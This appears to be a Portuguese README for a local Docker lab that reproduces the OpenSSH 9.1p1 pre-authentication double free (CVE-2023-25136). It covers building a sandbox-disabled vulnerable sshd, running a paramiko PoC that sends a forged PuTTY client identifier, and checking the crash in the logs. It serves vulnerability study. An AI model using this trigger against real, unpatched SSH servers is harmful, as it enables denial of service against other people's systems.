
Ambiente mínimo de reprodução baseado em Docker para a vulnerabilidade de double-free pré-autenticação do OpenSSH 9.1p1 (CVE-2023-25136), demonstrando corrupção de memória e negação de serviço através de um cliente PoC em Python.
Este projeto fornece um ambiente experimental local mínimo para reproduzir a vulnerabilidade de double free na pré-autenticação do OpenSSH 9.1p1 (CVE-2023-25136) e observar o efeito de travamento do processo do servidor (DoS).
Nota: Análises oficiais e mainstream consideram que esta vulnerabilidade é "difícil de ser explorada para execução remota de código" na configuração de segurança padrão. Este ambiente é usado principalmente para demonstrar o erro de memória e o efeito de negação de serviço.
Máquina alvo (Target):
sshd configurado--with-sandbox=no para desabilitar a sandbox seccomp22, mapeada para a porta 2222 no host (WSL)Máquina atacante (Attacker):
paramiko para executar o PoC, construindo um identificador de cliente SSH específico e iniciando um handshake de pré-autenticaçãoEstrutura do diretório:
Dockerfile: Imagem para construir o ambiente vulnerável OpenSSH 9.1p1poc.py: Cliente PoC mínimo para acionar o double free durante a pré-autenticaçãoAntes de realizar as seguintes operações neste diretório, garanta que:
pip instaladosConstruir a imagem
Execute no diretório atual:
docker build -t sshd-9.1p1-vuln .
Iniciar o container
docker run --rm -d --name sshd-vuln -p 2222:22 sshd-9.1p1-vuln
Explicação:
--rm: Remove automaticamente após a saída do container--name sshd-vuln: Nome do container-p 2222:22: Mapeia a porta 22 do container para a porta 2222 do hostConfirmar o status de execução do sshd
docker ps
Você deve ver algo como:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxx sshd-9.1p1-vuln "/usr/sbin/sshd -D…" Up ... 0.0.0.0:2222->22/tcp
Execute neste diretório:
pip install paramiko
poc.py usa paramiko.Transport para estabelecer ativamente uma conexão com o servidor SSH alvo e forjar um identificador de cliente durante a pré-autenticação, tentando acionar o double free.
Características principais:
127.0.0.1:2222 (ou seja, o container Docker local)SSH-2.0-PuTTY_Release_0.64-t/--target: IP alvo (padrão 127.0.0.1)-p/--port: Porta alvo (padrão 2222)-c/--client-id: Identificador de cliente SSH forjado--timeout: Tempo limite (segundos)-v/--verbose: Exibir informações detalhadas de erroGarantindo que o container sshd-vuln esteja em execução, execute no diretório atual:
python3 poc.py
Ou especifique argumentos explicitamente:
python3 poc.py -t 127.0.0.1 -p 2222 -v
Exemplo de saída esperada do cliente:
==============================================
CVE-2023-25136 OpenSSH Pre-Auth Double Free
Minimal PoC Client
==============================================
[2024-xx-xx xx:xx:xx] Target: 127.0.0.1:2222, ClientID: SSH-2.0-PuTTY_Release_0.64
[+] Sending crafted pre-auth handshake...
[-] Authentication failed or connection closed early.
请确认在服务端 sshd 日志中是否出现 'free(): double free detected' 等信息,以确认是否触发 CVE-2023-25136。
Explicação:
Authentication failed ou connection closed é um comportamento esperado, pois o processo filho de pré-autenticação do servidor pode travar ou fechar a conexão ativamente durante o processamento.Após executar o PoC, verifique os logs do container no host:
docker logs sshd-vuln
Saída esperada semelhante a:
Server listening on 0.0.0.0 port 22.
Server listening on :: port 22.
Invalid user from 172.17.0.1 port xxxxx
free(): double free detected in tcache 2
Onde:
Invalid user: Devido ao PoC usar um nome de usuário vazio, o OpenSSH registrou uma tentativa de usuário inválidofree(): double free detected in tcache 2: A glibc detectou um double free e finalizou o processo filho sshd atual. Este é exatamente o fenômeno de corrupção de memória/DoS que este experimento visa observar.Nota: Para que esta linha seja visível, desabilitamos a sandbox seccomp durante a construção do OpenSSH (
--with-sandbox=no), caso contrário, a sandbox poderia interceptar o comportamento anômalo antes do double free e finalizar o processo filho diretamente.
sshd continuará a criar novos processos filhos para conexões subsequentes.